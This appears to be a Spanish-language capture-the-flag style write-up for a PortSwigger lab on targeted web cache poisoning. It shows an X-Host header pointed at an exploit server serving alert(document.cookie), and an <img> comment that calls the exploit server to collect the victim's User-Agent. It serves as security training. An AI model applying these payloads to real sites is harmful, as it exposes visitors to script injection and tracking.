> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# Envenenamiento de caché dirigido mediante un encabezado desconocido

Notas sobre Envenenamiento de caché dirigido mediante un encabezado desconocido para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Envenenamiento dirigido de la caché web usando un encabezado desconocido

Envenena la caché con una respuesta que ejecuta `alert(document.cookie)` en el navegador de un visitante, **pero solo para un subconjunto de usuarios** correspondiente a la víctima.

#### Observación inicial

* La solicitud/respuesta es interceptada.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58f4a77eb78f7702df7eb267ae4277ae0bd25553%2F%7B796A221C-7A49-4DED-ABF1-B535279255B9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Con la **Param Miner** extensión, comenzamos la detección de encabezados explotables

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-034df2273d835ab6eefc639af7e3fdf306a74dff%2F%7BDCB734EE-B795-48BF-ABDD-93D7A1CD52E9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* La herramienta revela un \*\*encabezado

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-869700917e4a7fca6cba282c88911cbb240cf331%2F%7BD8BCAADE-DDBE-48EE-A7EB-BA812DC6BD12%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Si `X-Host: test.com` se envía, el valor se vuelve a inyectar en la respuesta (en `src`).

```http
X-Host: test.com
```

#### Implementación de la carga útil

1. En el \*\*servidor de explotación\*\*, creamos un recurso **con la ruta/título**:

* `/resources/js/tracking.js`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ac85188fe5c660bd335833fe415dfd2cfafaed1%2F%7B411AFDCB-B42C-4972-B068-D7461D9E1A1E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Contenido del archivo:

```javascript
alert(document.cookie)
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8adaef377c635cf385d444390763ba35df8a267%2F%7BFDD754D4-AA57-4933-8D7B-9D7635E6D4D4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Envenenamiento de caché dirigido a X-Host

* La solicitud se devuelve con:

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-789a117f77c20c66bc352d5d1b522a9f677d14f2%2F%7BA7E4C6DA-A199-42FA-8D14-48CA40B0F641%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

La página luego carga el `tracking.js` desde el servidor de explotación, lo que activa la alerta.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76b6ec4da5861ffbe9a8108a41e294cb87caa07a%2F%7B0B1758E4-1C9B-4776-AAF9-3FA9536B3E75%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Dirigirse a la víctima con el User-Agent

* Observamos que la respuesta varía según `User-Agent` (a través de `Vary`), así que para llegar a la víctima debemos **conocer el User-Agent de la víctima**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bbfa6ed3038474a9dec3aaa6a8728f9d07444288%2F%7BE82E8BD5-9468-4135-B5EA-408993403F6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Publica un comentario que fuerce una solicitud al servidor de explotación:

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eafd0dbe7267509d8c341e8a03988befe28370d8%2F%7B5D53AD8C-ED0E-46C5-967F-2CB20D800A65%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

En los registros del servidor de explotación, se recupera el User-Agent de la víctima:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1dd0f94350a3097171101a2d3c1dfdf6010dfd9c%2F%7BB08A4A37-EF7A-4998-8BE6-B981F7FA5DE3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


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